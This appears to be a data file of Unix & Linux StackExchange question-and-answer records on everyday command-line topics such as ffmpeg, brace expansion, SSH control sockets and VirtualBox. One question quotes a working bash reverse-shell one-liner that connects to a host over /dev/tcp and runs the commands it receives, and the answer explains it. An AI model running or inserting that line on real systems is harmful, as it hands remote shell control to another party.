date int64 1,220B 1,719B | question_description stringlengths 28 29.9k | accepted_answer stringlengths 12 26.4k | question_title stringlengths 14 159 |
|---|---|---|---|
1,388,861,790,000 |
I have a video and I want to extract every 10th frame as I am getting way too many images.
ffmpeg -i out1.avi -r 1 -f image2 image-%3d.jpeg
How to extract images from video file?
|
If you want 1/10 of what you have now (when you use -r 1) then use
-r 0.1
It will get 1 frame every 10 seconds instead of 1 frame every 1 second.
ffmpeg -i out1.avi -r 0.1 -f image2 image-%3d.jpeg
EDIT:
If you really what every 10th frame from video then you can use select with modulo 10
ffmpeg -i out1.mp4 -vf "s... | How to extract every 10th frame from a video? |
1,575,483,815,000 |
How can I record and play asciinema screen recordings in a LAN without internet connection?
The tool uploads the recordings per default to the asciinema website but I want to keep it local and run the player on a local webserver.
|
Just pass asciinema rec a file name as an argument, in which case it will simply save the recording to the local file and not try to upload it to the server. For example:
$ asciinema rec demo.cast
You can then play the recording locally (on the terminal) with:
$ asciinema play demo.cast
And finally upload it with:
$... | How to use asciinema offline? |
1,575,483,815,000 |
It is easy to find that ext2 filesystem labels can be set with tune2fs and e2label. GParted GUI offers to give partition labels when creating partitions of any type, but not to change the label of an existing partition.
I am only interested in MBR partitions (not GPT) and preferably console tools. In particular, I am ... |
Compare the description of an MBR partition table entry with the description of a GPT/GUID partition entry. You'll see that while the GPT/GUID partition has dedicated locations to have both an "unique partition GUID" and a "partition name", there none of those available for MBR. So you just can't do this on MBR, it's ... | How to label a partition in Linux? |
1,575,483,815,000 |
I'm doing a project regarding RSSI and I have to retrieve the signal level of a particular WiFi SSID that I'm working on using the Linux command line.
I've made use of the iwlist scanning command but I just couldn't get it to display the values that I want by using grep to print only the SSID name, quality and signal ... |
First, iwlist is the old command, there's the newer iw command with more features.
If the "SSID you are working on" is the access point (AP) you are currently connected to, use
iw wlan0 station dump
pick the value(s) you are interested in (say, average signal strength), and then something like
iw wlan0 station dump |... | Retrieving specific SSID's Name, Quality and Signal Level using iwlist |
1,575,483,815,000 |
Consider these wget codes:
wget -P ~/ https://raw.githubusercontent.com/user/repo/branch/papj.sh
wget -P ~/ https://raw.githubusercontent.com/user/repo/branch/nixta.sh
Is there any elegant way to unite different terminals of the same basic URL as above, into one line instead 2 or more?
Pseudocode:
wget -P ~/ https://... |
As wget accepts several URLs at once this can be done using brace expansion in bash:
wget -P ~/ https://raw.githubusercontent.com/user/repo/branch/{papj.sh,nixta.sh}
(or even
wget -P ~/ https://raw.githubusercontent.com/user/repo/branch/{papj,nixta}.sh
but this only works for well-suited names of course).
| Uniting urls for a download utility (like wget) in one line |
1,575,483,815,000 |
The command echo {1..3}-{1,2} prints 1-1 1-2 2-1 2-2 3-1 3-2. I understand the way those curly braces can be used. But what actually are they?
Is it the job of sh / bash to parse/expand them and deliver the expanded version to the executed program?
If so, what other tricks can it do and is there a specification?
Also,... |
They are called brace expansion.
It is one of several expansions done by bash, zsh and ksh, filename expansion *.txt being another one of them. Brace expansion is not covered by the POSIX standard and is thus not portable.
You can read on this in bash manual.
On @Arrow's suggestion: in order to get cat test.pdf test... | How does curly brace expansion work in the shell? |
1,575,483,815,000 |
I'm facing some trouble with the date command. The following execution issues an error:
danilo@desktop:~$ x=$(date -d "+60 seconds"); dt=$(date -d "$x")
date: invalid date ‘Mo 11. Sep 09:07:05 CEST 2017’
This is strange, because it works in other computers I tested. Even this:
danilo@desktop:~$ x=$(date); dt=$(date -... |
The default format for your locale is not supported as input to date. The solution is to use some standard format. For example:
x=$(date -d "+60 seconds" +%s); dt=$(date -d "@$x")
+%s tells date to return a standard Unix format: seconds-since-epoch.
The @ sign in date -d "@$x" tells date to interpret $x as seconds-... | Parsing date with the contents of a previous date execution issues error |
1,575,483,815,000 |
What's the best way to go to a directory that contains a specific file? (Assuming we are starting at the root of where we wish to search). I'm using Cygwin.
SOLUTION:
My final solution was to put this into my .bashrc file.
jump2_func() {
cd "$(find . -name $1 -printf %h -quit 2>/dev/null)"
}
alias jump2=jump2_func
|
cd "$(find . -name filename -printf %h -quit 2>/dev/null)"
If no file with this name is found then cd changes into the home directory. If that is not wanted then you need something like this:
dir="$(find . -name filename -printf %h -quit 2>/dev/null)"
test -d "$dir" && cd "$dir"
| Search for a specific file and change to its directory |
1,575,483,815,000 |
I am doing some security research and I was wondering how the following snippet works on Unix based OS's:
exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done
I am totally aware of what this code does (ie establish a reverse shell to 192.168.159.150 over p... |
Some parts of your question are answered here
But
This define new filedescriptor with number 5. BTW 0 is STDIN, 1 is
STDOUT, 2 is STDERR filedescriptors
Echo the information, which is received via TCP, IP 192.168.159.150,
port 4444
Send STDERR and STDOUT to filehandler 5 i.e network
| How is this command redirection working? |
1,575,483,815,000 |
So basically I want to add these two cmd lines together
ls *[Aa]*
ls *[Bb]*
I'm looking for a file that contains both A and B (lower or uppercase) and they can appear more than once.
Here's what I tried:
ls *[Aa]*&&*[Bb]*
|
Using brace expansion
One method is to use brace expansion. Let's consider a directory with these files:
$ ls
1a2a3 1a2b3 1b2A3 1b2b3
To select the ones that have both a and b in either case:
$ ls *{[bB]*[aA],[aA]*[bB]}*
1a2b3 1b2A3
Improvement
A possible issue is how brace expansion behaves if one of the optio... | File Globbing: adding *[Aa]* & *[Bb]* together [duplicate] |
1,575,483,815,000 |
Is there an equation solver for the shell? For example, I enter input 1000=x^(1.02) and the shell solves for x.
|
Wolfram Mathematica has a command line interface, so you can use it in shell, but it is expensive.
| Equation solver for the shell? |
1,575,483,815,000 |
I have the following text in the data.txt file
:MENU1
0. public
1. admin
2. webmail
:SYNTAX
! opt1, ... :
:ERROR1
Error #1, blah... blah.. blah...
Please do ...
:ERROR2
Error #2 ...
and I want to use a regular expression (PERL syntax) to extract the part from :MENU1 to the next first :, but dropping MENU1 and the ... |
The pattern *: will match everything until the last :. To stop at the next : you need *?:. E.g.:
% grep -Poz '^:MENU1\K[\w\W]*?:' data.txt
0. public
1. admin
2. webmail
:
You can strip the first line by matching the newline before your \K. E.g.:
% grep -Poz '^:MENU1\n\K[\w\W]*?:' data.txt
0. public
1. admin
2. ... | grep regular expression solution (greedy not working) |
1,575,483,815,000 |
I might be mistaken here, but I was watching someone navigate using the cd command, and without actually executing it, they were able to show the folder contents of the current folder.
So if I type cd Downloads/Stuff then, without pressing enter, can I list the content of the Download/Stuff folder?
|
It's the programmable completion feature of the shell. You can simply press the TAB key twice to gain this behavior.
Imagine you type cd Downkoads/St and then press the TAB key. St will be completed to Stuff if it is the only folder starting with St. If there are other folders starting with St in there, you will get a... | Listing folder contents during cd command |
1,575,483,815,000 |
I'm writing a simple desktop initiation script which waits for disk idle, and then launches next external program (like Firefox, Skype or conky) using &, like:
ps cax | grep conky > /dev/null
if [ $? -eq 0 ]; then
echo "Conky is already running."
else
wait-for-disk-idle sda
conky &
fi
That's easy.
The problem ... |
You probably want to discard any STDERR output as well. You can do both like so:
conky > /dev/null 2>&1 &
This statement essentially tells the shell to do the following:
conky > /dev/null - redirect all standard output to /dev/null
2>&1 - Redirect standard error to where standard output is currently pointing. Bec... | How to asynchronously launch external program from cli and discard its output? |
1,575,483,815,000 |
When typing a complicated command that started on the command line in Bash, how do I switch to editing it with ViM?
|
There is a readline command, called edit-and-execute-command tied to the sequence C-x C-e, that invokes your editor with the current content of the command line for editing.
When you exit the editor the command is executed.
| How to switch to editing command in text editor [duplicate] |
1,575,483,815,000 |
I'm using this command to recursively generate a SHA-512 hash for each file in a directory hierarchy:
find . -type f -exec openssl sha512 {} \;
I'd like to sort the files in lexicographical order before generating the hashes.
I can use sort like this:
find . -type f | sort
but I'm not sure how to then pipe the sorte... |
You can use xargs to get what you want.
find . -type f -print0 | sort -z | xargs -0 -n1 openssl sha512
The -n1 option tells xargs to only allow one argument to be given to the openssl command. The -print0, -z and -0 options prevent the pipeline from breaking if there are "problem" characters (like an embedded newlin... | Sort the output of find before piping to openssh |
1,575,483,815,000 |
-bash-3.00$ ./p4 -V
-bash: ./p4: Invalid argument
What does "Invalid argument" mean in Unix?
More details:
p4 is an executable in the current directory.
p4 actually refers to perforce. The option -V is supposed to display the version details.
Solaris 10 is the OS.
p4 has executable permissions (chmod +x p4)
The offi... |
I figured it out!
I was running an x86 binary on a SPARC machine.
Similar question on SO
On Solaris, when you try running a SPARC binary on an x86 platform (or vice versa), Invalid argument is the error you get.
| What does "Invalid argument" mean in Solaris? |
1,575,483,815,000 |
I tried to understand the usage of xargs and did the following experiment.
ls | xargs | touch
I want to refresh the files dates and directoris in the curent directory.
Though it is a bit silly,for I could use a simpler form to achieve the same effect.
In my mind, xargs reads from the STDIN and turn it into the argume... |
It needs to be like this:
ls | xargs touch
The xargs command runs the touch command with a number of strings read from stdin. In your case, stdin for xargs is the output end of the pipe from ls.
The way you had the command:
ls | xargs | touch
xargs had no command to run against the strings (filenames) it would read... | Why did using xargs fail in this case? |
1,575,483,815,000 |
I am using Ubuntu 10.04, I know I can start NVIDIA x server settings by choose :
System -> Preference -> Monitors
on the top bar.
But how can I start the NVIDIA x server settings window by run a command from terminal? What is that command?
|
I guess it is:
nvidia-settings
| How to start nvidia x server settings from command line? |
1,575,483,815,000 |
I'm trying to install some software from the command line. There is a file called "config.sub". Am I supposed to use this for something?
I haven't been able yet to find out by searching online what this file is supposed to do. I think part of the deal is I don't know how to ask the question correctly.
|
config.sub is one of files generated by autoconf. Autoconf documentations states that it converts system aliases into full canonical names.
In short - you don't have to worry about it unless you're autoconf developer.
| What is the function/point of "config.sub" |
1,575,483,815,000 |
clear clears the screen of the terminal.
Is there any command that can restore the original screen contents from before clear was run, effectively undoing that clear?
|
If you mean undo, then there is ★nothing. Except, you can go through the command history and re-run a command. If the command is idempotent, then you will get the same result.
Footnotes:
★ nothing unless you use some sort of logging system. This logging may be part of a terminal program, or separate. It is not part of... | How can we undo the clear command in Linux? |
1,575,483,815,000 |
While researching more in-depth information about Bash subshells, I ran into an interesting execution that I would like to understand why it works. The execution involves assigning a string to a variable that is then used when man is called, link to original example. I have already read about why the specific variable... |
This is a standard feature. You can set the variable when launching the command and then the variable will be set for the command. It also works in the example you show, foo='hello' echo $foo. The problem is that you are testing the wrong way. When you run this:
foo='hello' echo $foo
The shell will expand the variabl... | Command-line variable assignment and command execution |
1,575,483,815,000 |
Is there a command or system call for listing all the abstract unix sockets currently open?
Update: It was suggested that I use netstat -x, which theoretically works, but does not list the names of the abstract sockets, only those with paths.
bash-5.0$ netstat -xeW
Active UNIX domain sockets (w/o servers)
Proto RefCnt... |
Abstract sockets
Their path name starts with the NUL characters, making their path length 0. They can use the remaining 107 characters to define a unique identifier, which other programs can use to connect.
they are not represented in the file system.
Most unix come with lsof (list of open files) command. If not you c... | Is there a command to list all abstract unix sockets currently open? |
1,575,483,815,000 |
After a command like:
$ usermod -e <yesterday> -f <tomorrow> bea
Bea's account will be expired, but still active (until tomorrow).
What's the difference? What could happen yesterday and can't happen today? And what can happen today but not after tomorrow?
|
usermod -e normally takes a date as a parameter: if you specify usermod -e 2019-12-31 joeuser, then Joe User's account will only work until the end of the year, and no more, unless an administrator re-enables the account, either by setting a new account expiration date, or by using usermod -e "" joeuser to allow the a... | Difference between expired account and inactive account |
1,575,483,815,000 |
I tried using this command to compute number of lines changed between two files:
diff -U 0 file1 file2 | grep ^@ | wc -l
My problem with this command is that if one file has only one line, and the other file has 100 lines, the output is still just 1.
What command would give me the total number of lines changed, incl... |
Looking for lines starting with @ gives you the number of blocks of changes that diff found. They would often be more than one line.
As it happens, there's a tool to count the statistics of a diff: diffstat (web site, man page).
Count insertions and deletions:
$ diff -u test1 test2 | diffstat
test2 | 3 +--
1 file... | Given two files, how do I find the total number of line changes? |
1,575,483,815,000 |
I have seen separate answers for all the little pieces of my question, I looked really hard, but it still doesn't seem to make any sense. A little history of how this happened.
Yesterday by using randomly using ls in my root directory as root, I discover a file called dead.letter.
Said file contains warnings that see... |
The dead.letter file is created by mail clients when they cannot send email. It's likely you don't have any mail subsystem installed on your machine. The date of the file corresponds to the date the mail was attempted.
On 18th January it looks like smartctl tried to warn you of 8 sectors that couldn't be read. This is... | dead.letter file warns me about uncorrectable sectors I can't find |
1,575,483,815,000 |
My instructor says to use a pipe to apply a text file, which consists a list of test cases, to a working program that takes test case from the input file.
Say i have
test_cases.txt
my_program //my java program after compliation
and when I did this
java my_program | test_cases.txt
it gives
[1]+ Stopped ... |
First of all, a pipe connects two processes, not files (including text files), such that the output of one goes to the input of the other. The presumption is that the process "generating" the output sends it to STDOUT, which becomes the source for the pipe, and that the process "receiving" the input reads it from STDI... | How to use pipe to apply a text to a program |
1,575,483,815,000 |
I would like to output a series of space-delimited words in a tabular format, filling line by line so that nothing exceeds the terminal's width but the available space is used optimally, like this:
+-----------------------------------------------+
|polite babies embarrass rightful |
|aspiring scandal... |
To produce equally spaced columns, you could use BSD rs (also ported to Debian and derivatives (at least) and available as a package there) or BSD column (in the bsdmainutils package on Debian):
tr -s '[:space:]' '[ *]' | rs -w "$COLUMNS"
tr -s '[:space:]' '[\n*]' | column -xc "$COLUMNS"
Example (the vertical line is... | How can a space-delimited list of words be folded into tabular columns that fit in the terminal's width |
1,575,483,815,000 |
I executed the following line:
which lsb_release 2&>1 /dev/null
Output:
error: no null in /dev
When I verified the error using the ls /dev/null command, null was present in /dev. Why is this error occurring? I could not decipher the problem.
UPDATE
I just tried the above which command on someone else's system, it wo... |
First of all, redirections can occur anywhere in the command line, not necessarily at the end or start.
For example:
echo foo >spamegg bar
will save foo bar in the file spamegg.
Also, there are two versions of which, one is shell builtin and the other is external executable (comes with debianutils in Debian).
In your... | no null in /dev error |
1,575,483,815,000 |
Lately I hit the command that will print the TOC of a pdf file.
mutool show file.pdf outline
I'd like to use a command for the epub format with similar simplicity
of usage and nice result as the above for pdf format.
Is there something like that?
|
.epub files are .zip files containing XHTML and CSS and some other files (including images, various metadata files, and maybe an XML file called toc.ncx containing the table of contents).
The following script uses unzip -p to extract toc.ncx to stdout, pipe it through the xml2 command, then sed to extract just the tex... | Extract TOC of epub file |
1,575,483,815,000 |
I have used the info from another question on Stack Exchange to allow me to rename files using the info in a csv file. This line allows me to rename all files from the names in column 1, to the names in column 2.
while IFS=, read -r -a arr; do mv "${arr[@]}"; done <$spreadsheet
However, it attempts to compare the in... |
Try this:
tail -n +2 $spreadsheet | while IFS=, read -r -a arr; do mv "${arr[@]}"; done
The tail command prints only the last lines of a file. With the "-n +2", it prints all the last lines of the file starting at the second.
More on the while loop. The while loops runs the mv command as long as there are new lines... | Skip first line (or more) in CSV file which is used to rename files |
1,575,483,815,000 |
Is it possible, using grep, find, etc, to sort a list of directories by the last modified date of the same-named file (e.g., file.php) within? For example:
domain1/file.php (last modified 20-Jan-2014 00:00)
domain2/file.php (last modified 22-Jan-2014 00:00)
domain3/file.php (last modified 24-Jan-2014 00:00)
domain4/fi... |
As Vivian suggested, the -t option of ls tells it to sort files by modification time
(most recent first, by default; reversed if you add -r).
This is most commonly used (at least in my experience) to sort the files in a directory,
but it can also be applied to a list of files on the command line.
And wildcards (“glo... | Sorting directories by last modified date/time of the same-named contained file |
1,575,483,815,000 |
I am trying to get a list of wireless networks nearby while the adapter is acting as an access point but iwlist returns the following error:
$ sudo iwlist wlan0 scan
wlan0 Interface doesn't support scanning : Operation not supported
Is there another way of getting this list, perhaps with another utility? My Tomat... |
iwlist is seriously deprecated. Remove it from your system and never use it again. Do the same with iwconfig, iwspy. Those tools are ancient and were designed in an era where 802.11n didn't exist. Kernel developers maintain a ugly compatibility layer to still support wireless-tools, and this compatibility layer often ... | Getting a list of WiFi networks nearby when the adapter is in AP mode |
1,575,483,815,000 |
Are there any terminal-based (ie. non-GUI) virtual-computer programs out there?
I've been using programs like VirtualBox and QEMU, but they're obviously GUI-based...
I was hoping for a virtual PC program where I can do everything - create a new virtual machine, create it's disk, install OS (assuming a text-based insta... |
In qemu/kvm, you only get a GUI if you attach a video card to your VM and if you don't expose it as SPICE/VNC.
For instance, you can do (zsh syntax, with grub2):
grub-mkimage -O i386-pc -c =(print -l serial 'terminal_input serial' \
'terminal_output serial'
) -o grub.img configfile biosdisk part_msdos part_gpt ext2... | Terminal-based (non GUI) virtual-computer program? |
1,575,483,815,000 |
I am trying to have a confirmation message every time I type exit command in the command-prompt. To do this, I have tried to use trap in .bashrc file but it seem like trap is not a solution as it run the original command anyway. Is there a way I can have this?
Here is my bashrc script code which could not get the job ... |
If the shell is zsh or bash (though not in sh mode), make exit a function. Functions have precedence over shell builtins (even special ones like exit) in zsh or bash (though not in POSIX shells). So just rename your function to exit and use command exit within the function instead. Otherwise you had endless recursion,... | Confirm before exit the command-prompt |
1,575,483,815,000 |
I noticed this problem when I became confused with pipe, one command send its executing output to the STDOUT, which is the STDIN for the other command, which can read from STDIN.
How do I know if a Linux command can read from STDIN?
Is there a feature to distinguish commands that can read from STDIN from those cannot... |
(In response to the upvotes on my comment)
There isn't a concrete way of determining if an application reads from STDIN or something else. In general, you'll have to try piping something to it or reading the program's man page.
| How to know if a Linux command can read from STDIN? |
1,575,483,815,000 |
Is there a simple way for me to add a shell command to a list of jobs to have run on the system when I'm not logged in?
For example:
I SSH into my system, decide that I want to read an ebook later, but it's in the wrong format. I'll use Calibre to convert it, but this will take up the CPU for many minutes. I'm in no... |
A simple, but possibly inconvenient method is to start the command with nohup to detach it from the terminal, just before logging out.
nohup mycommand &
logout
Any output from the command is sent to the file nohup.out in the current directory.
It is usually more convenient to run the command inside screen or tmux. Bo... | GNU: Delayed jobs Queue |
1,575,483,815,000 |
Is there a command that relaunch the application once it finishes from the command line? Letting you do something like:
> relaunch python myapp.py
If not, then what's my best option? I know I could cron it, but I'd be more interested in something I could just execute from the terminal and that restarts at once. I'm o... |
You can try with a simple infinite loop:
while true; do
python myapp.py
done
Edit: the above is just a simple generic example. Most probably modifications are needed to take into account exit errors etc. For example:
until `python myapp.py; echo $?`; do
echo "exit ok, restarting"
done
| Relaunch application once finished |
1,575,483,815,000 |
I'm looking for some tool that can convert text, ideally from UTF-8 (but ISO-8859-2 and WINDOWS-1250 would be fine) into ASCII/ISO-8859-1?
I have seen some online transliteration tools but I need something for the command line (and iconv is refusing to convert the file).
|
By default, iconv refuses to convert the file if it contains characters that do not exist in the target character set. Use //TRANSLIT to “downgrade” such characters.
iconv -f utf-8 -t iso8859-1//TRANSLIT
| Converting text into ASCII/ISO-8859-1 |
1,575,483,815,000 |
I have a runaway ruby process - I know exactly how I trigger it.
Point is, it got me thinking about runaway processes (CPU usage or memory usage).
How would one monitor runaway
processes with cron? grep / top / ulimit?
Can one notify the user via the
command line if something like this
happens?
What alternatives are... |
Instead of writing a script yourself you could use the verynice utility. Its main focus is on dynamic process renicing but it also has the option to kill runaway processes and is easily configured.
| cronjob to watch for runaway processes and kill them |
1,575,483,815,000 |
I'm sometimes working on the command line (or in the Ranger file manager), and it's annoying to have to move to a graphical interface to double-click on a AppImage. It looks like Ranger tries xdg-open; I tried that on the command line, myself, and that fails. My permissions are correct, so how can I actually run an Ap... |
Making it executable chmod +x file and running it with ./file worked for me.
| How to run AppImage on the command line |
1,575,483,815,000 |
I'm using the following line in my scripts:
ssh -f -N -M -S <control socket> <host>
This means the initial connection just stays in the background and I can use it for subsequent calls to ssh:
ssh -S <control socket> <host> <command>
However, if I have multiple scripts with commands which are supposed to use the sam... |
I think you are looking for ControlMaster auto, which can be either specified in configuration file or directly on command-line with -o ControlMaster=auto.
This allows you to unify the commands opening the connection and using it (also very helpful with ControlPersist).
| How to abort if ssh control socket already exists? |
1,575,483,815,000 |
I've seen lots of places people have suggested to store command line arguments,
~/.config/google-chrome-flags.conf
~/.config/chromium-flags.conf
/etc/default,
My version of chromium doesn't seem to be using these, and none of these locations are mentioned in man chromium-browser. Where would I best store a command l... |
I found joy in,
/etc/chromium-browser/default
Which is set by the CHROMIUM_FLAGS options.
CHROMIUM_FLAGS="--incognito --password-store=gnome"
| Where can I configure Chromium's default command line arguments? |
1,575,483,815,000 |
I'd like to separate record by first word (eg DEBUG or INFO)
and keep RS.
but execute program, awk removes RS.
How to keep it?
log.txt is
DEBUG:[2018-04-09 13:00:01]
=========================
START LOG
:
:
END LOG
===========================
DEBUG:[2018-04-09 13:00:02]
INFO:[2018-04-09 13:00:03]
DEBUG:[2018-04-09... |
You can use RT
gawk 'BEGIN{RS="(DEBUG|INFO)"; FS="\n"}{printf "%s%s", $0, RT}' log.txt
| Is it possible to keep record separator in awk? |
1,515,164,174,000 |
I have a python program that I run it via command line (Mac OSX) as:
python -W ignore Experiment.py --iterations 10
The file Experiment.py should be run multiple times using different --iterations values. I do that manually one after another, so when one run is finished, I run the second one with different --iteration... |
You can use a for loop:
for iteration in 10 100 1000 10000 100000; do
python -W ignore Experiment.py --iteration "${iteration}"
done
If you have multiple parameters, and you want all the various permutations of all parameters, as @Fox noted in a comment below, you can use nested loops. Suppose, for example, you ... | Running a program with several parameters using shell script |
1,515,164,174,000 |
How can I create a virtual machine from the CLI?
Creating a Virtual Machine
First, download an ISO cd image of some OS you want to run. For Ubuntu, you can find these at:
http://www.ubuntu.com/getubuntu/download
Double click on the name of the host. The Status column should read Active
Right click on the name... |
Just use:
virt-install \
--name vm_name \
--ram=2048 \
--vcpus=2 \
--disk pool=guest_images,size=30,bus=virtio,format=qcow2 \
--cdrom /var/iso/debian.iso \
--network bridge=kvmbr0,model=virtio \
--graphics vnc,listen=0.0.0.0,password=Qwerty1234 \
--boot cdrom,hd,menu=on
Where /var/iso/debian.iso - path to iso image
g... | create a virtual machine from the CLI? (KVM) |
1,515,164,174,000 |
I connect with the following command:
sudo wpa_supplicant -B -D nl80211 -i wlan_card -c /etc/wpa_supplicant/connection.conf
It connects fine, and keeps persistent connection. If AP goes down, the connection tears, if AP gets back up, the connection comes back. If I power down the wifi interface:
sudo ip link set wlan... |
Before connecting a to a different AP you can stop the running instance of the wpa_supplicant service:
sudo killall wpa_supplicant
Configure your /etc/wpa_supplicant/connection.conf then connect through wpa_supplicant.
| How to disconnect wifi link, that was connected with wpa_supplicant |
1,515,164,174,000 |
I am setting up an Arch/Manjaro-based machine that only occasionally will be connected to network. I.e. most of the time its Ethernet card is disconnected.
I run into this curious problem - when I try to use networking commands the interface is down (I sit next to it with my laptop that has a Wi-Fi Internet connection... |
Like this for example:
For a static IP configuration copy the
/etc/netctl/examples/ethernet-static example profile to /etc/netctl
and modify Interface, Address, Gateway and DNS) as needed.
For example:
/etc/netctl/my_static_profile
Interface=enp1s0
Connection=ethernet
IP=static
Address=('10.1.10.2/24')
Gateway=(... | How do I set a static IP address for a disconnected interface? |
1,515,164,174,000 |
I have my VMs on a dedicated computer, over SSH I use vboxheadless to start them, and then I use remote desktop to use them.
Now, while a VM is running, it is trivial to insert the "GuestAdditions" image into the guest's optical drive and install them. To do that with an attached GUI, it's at Devices > Insert Guest Ad... |
The way I do this is:
Get the VboxAdditions UUID
[fredmj@Lagrange ~]$ vboxmanage list dvds
[...]
UUID: 3cc8e4fb-e56e-blabla...
State: created
Type: readonly
Location: /usr/share/virtualbox/VBoxGuestAdditions.iso
Storage format: RAW
Capacity: 55 MBytes
Encryption: disabled
... | How to "insert" guest additions image in VirtualBox from command line, while VM is running? |
1,515,164,174,000 |
I'm not sure what's going on but I've been trying to understand what is happening with the input and output. So here is my program.
#include <stdio.h>
#include <stdlib.h>
int main(){
char pass[8];
fgets(pass, 8, stdin);
if (pass[1] == 'h'){
printf("enter shell\n");
system("/bin/bash");
... |
For the cases where it "works", you are leaving a process running cat which is reading its standard input, which has not been closed. Since that is not (yet) closed, cat continues to run, leaving its standard output open, which is used by the shell (also not closed).
| cat into stdin then pipe into program keeps forked shell open, why? |
1,515,164,174,000 |
I have an alias in .bashrc like this:
alias ylog = "yarn logs -applicationId"
This works well when I do ylog application_123.
Sometimes, my job names come in the form of job_123 instead of application_123 and in order to get ylog I need to manually replace the text "job" by "application" in my command line.
Is it pos... |
Bash does not allow parameters in aliases, so you need to define and use a function, e.g.:
ylog() {
yarn logs -applicationId "${1/#job_/application_}"
}
| Improve existing alias to dynamically replace command line text |
1,515,164,174,000 |
I noticed there is a difference between outputs of free command:
On debian:
$ free -h
total used free shared buffers cached
Mem: 4.0G 3.4G 629M 0B 96K 1.3G
-/+ buffers/cache: 2.1G 2.0G
Swap: 4.0G 1.1G 2.9G
On... |
free is provided by procps-ng; Debian 8 has version 3.3.9, which uses the old style with a separate line for buffers/cache, while Gentoo and presumably RHEL 7.x have version 3.3.10 or later which uses the new style. You can see the reasoning behind the change in the corresponding commit message.
If you really want the... | free command output: gentoo (redhat?) vs debian |
1,515,164,174,000 |
I'm having a String which is seperated by commas like a,b,c,d,e,f that I want to split into an array with the comma as seperator. Then I want to print each element on a new line. The problem I'm having is that all cli tools I know so far(sed, awk, grep) only work on lines, but how do I get a string into a format that ... |
Sticking with your awk ... just make sure you understand the difference between a field and a record separator :}
echo "a,b,c,d,e,f" | awk 'BEGIN{RS=","}{$1=$1}1'
But the tr solution in the comments is preferable.
| Split string into array and print each element on a new line with commandline |
1,515,164,174,000 |
Is it possible to run a single shortened command that would in turn initiate multiple longer to type commands?
for instance,
$ kontact & rekonq
when passed to my terminal opens two applications. Could I create a command of my own, to include this action and shorten the time it takes to perform it?
|
I think what you're looking for is a shell script. A shell script basically lets you turn anything you can type into the shell into a command. So, for example, to run those two programs from a shell, you'd run:
$ kontact &
$ rekonq &
To put those in a shell script, open a new file in a text editor, and put in the fol... | is it possible to create a macro-like user defined shell command? |
1,515,164,174,000 |
I have a strange behavior on my system.
When I invoke a command in the shell (bash version 4.2.45(1)-release), say top or cat, the running program (the process) does not respond to Ctrl+C. I even tried to run kill -2 <pid> and kill -15 <pid>, but it didn't help. However, I can kill processes with SIGKILL.
I own the p... |
Recent versions of the nVidia proprietary drivers (possibly combined with other recent versions of libraries) have a bug which causes them to corrupt the signal mask.
You can look at signal masks like this:
anthony@Zia:~$ ps -eo blocked,pid,cmd | egrep -v '^0+ '
BLOCKED PID CMD
fffffffe7ffbfeff 605 udevd... | Processes do not respond to my signals |
1,515,164,174,000 |
I have a custom $PS1 variable that looks like this on my command line:
And on emacs using M-x shell unfortunately looks like this:
Here is my $PS1 variable export PS1='\[\e]0;\u@\h: \w\a\]\[\e[0;36m\]\T \[\e[1;30m\]\[\e[0;34m\]\u@\H\[\e[1;30m\] \[\e[0;32m\]\[\e[1;37m\]\w\[\e[0;37m\] \$ '
How can I make emacs shell-m... |
Leave the set title part to the terminals that support it:
case $TERM in
(xterm*) set_title='\[\e]0;\u@\h: \w\a\]';;
(*) set_title=
esac
PS1=$set_title'\[\e[0;36m\]\T \[\e[1;30m\]\[\e[0;34m\]\u@\H\[\e[1;30m\] \[\e[0;32m\]\[\e[1;37m\]\w\[\e[0;37m\] \$ '
| Emacs shell mode makes $PS1 different |
1,515,164,174,000 |
When I play music on vlc or cvlc in terminal or console there is always this (shown below) non-stopping output that prevents me from issuing commands by pressing ENTER key. I want to disable it, I tried to start vlc with vlc -q switch in quite mode but it only gets rid of [ ] bracket parts, the rest still remains and ... |
You should be able to get rid of the output of the libraries by piping stderr away
cvlc -q mymedia 2> /dev/null
As for the commands, I'm not sure vlc accepts commands from plain stdin, but it sounds like the rc interface might be what you're looking for.
cvlc -q -Irc mymedia 2> /dev/null
| How to disable VLC output in command-line mode? |
1,515,164,174,000 |
I would like to find a command-line or a script that will show me if HTML5 player is running or not in a browser (firefox or chromium).
For example, to determine if Flash player is running in a browser, I use next command:
pgrep -lfc ".*((c|C)hrome|chromium|firefox|).*flashp.*"
|
I don't see how this would be feasible given HTML5 support is typically built into the browser directly, whereas, Adobe Flash is a plugin. You can see what is a plugin in Chrome by browsing to the "chrome:plugins" page.
For example you can see the Adobe Plugin from my Chrome browser.
HTML5 on the other hand... | How can I determine if HTML5 player is running in browser? |
1,515,164,174,000 |
From time to time I need to dig through huge log files (several GB unpacked) to debug a specific error.
Now, vim is OK for browsing through the file, but when I need to find something in the file it's completely useless. Is there some tool that could index the log and allow me to search the file faster?
Ideally a comm... |
There are really good log indexers that are a bit bigger than command line tool level. Commercially, splunk is the big one and hard to beat. Graylog2 is a nice open source implementation. Elasticsearch+Logstash are quite good too.
There is a fair bit of overhead to both setting them up to collect and running the colle... | Digging through huge gziped log files |
1,515,164,174,000 |
I have in the past heard of using nail for this task, but I can't seem to find it for my distribution (Ubuntu 11.04) in any of the repositories. What program can I use to one-off emails from a shell like so:
send-mail -to [email protected] -file attachment.zip -message "Hello World"
Is there a program out there throu... |
nail was renamed to Heirloom mailx. For Ubuntu, you want to install the heirloom-mailx package, and then read the Sending mail from scripts section of the manpage.
| How can I automate sending mail using a script? |
1,515,164,174,000 |
On Linux I use flock lock command to execute a command with an exclusive lock.
What is the standard operating system command of Solaris 10 to do the same in a shell?
|
After a small Usenet discussion I use the following as a workaround for flock -n lockfile -c command:
#! /bin/bash
if [ $# != 4 -o "$1" = '-h' ] ; then
echo "Usage: flock -n lockfile -c command" >&2
exit 1
fi
lockfile=$2
command=$4
set -o noclobber
if 2>/dev/null : > "$lockfile" ; then
trap 'rm -f "$lockfi... | How to lock on Solaris 10? |
1,515,164,174,000 |
I often use Lynx on a remote computer to look at websites (faster than port-forwarding).
Sometimes the URLs I want to go to have un-escaped characters (for example brackets) that Lynx seems to need encoded.
for example
http://www.example.com/This(URL)is anExample.html
should be
http://www.example.com/This%28URL%29is... |
You can escape a string on the command line by using single ticks, so
lynx 'http://www.example.com/This(URL)is anExample.html'
Will pass the URL unchanged to lynx, or any other program.
| Using URLs with parenthesis with Lynx |
1,515,164,174,000 |
Before you hit me with the obvious, I know, the backup option makes a backup of a file.
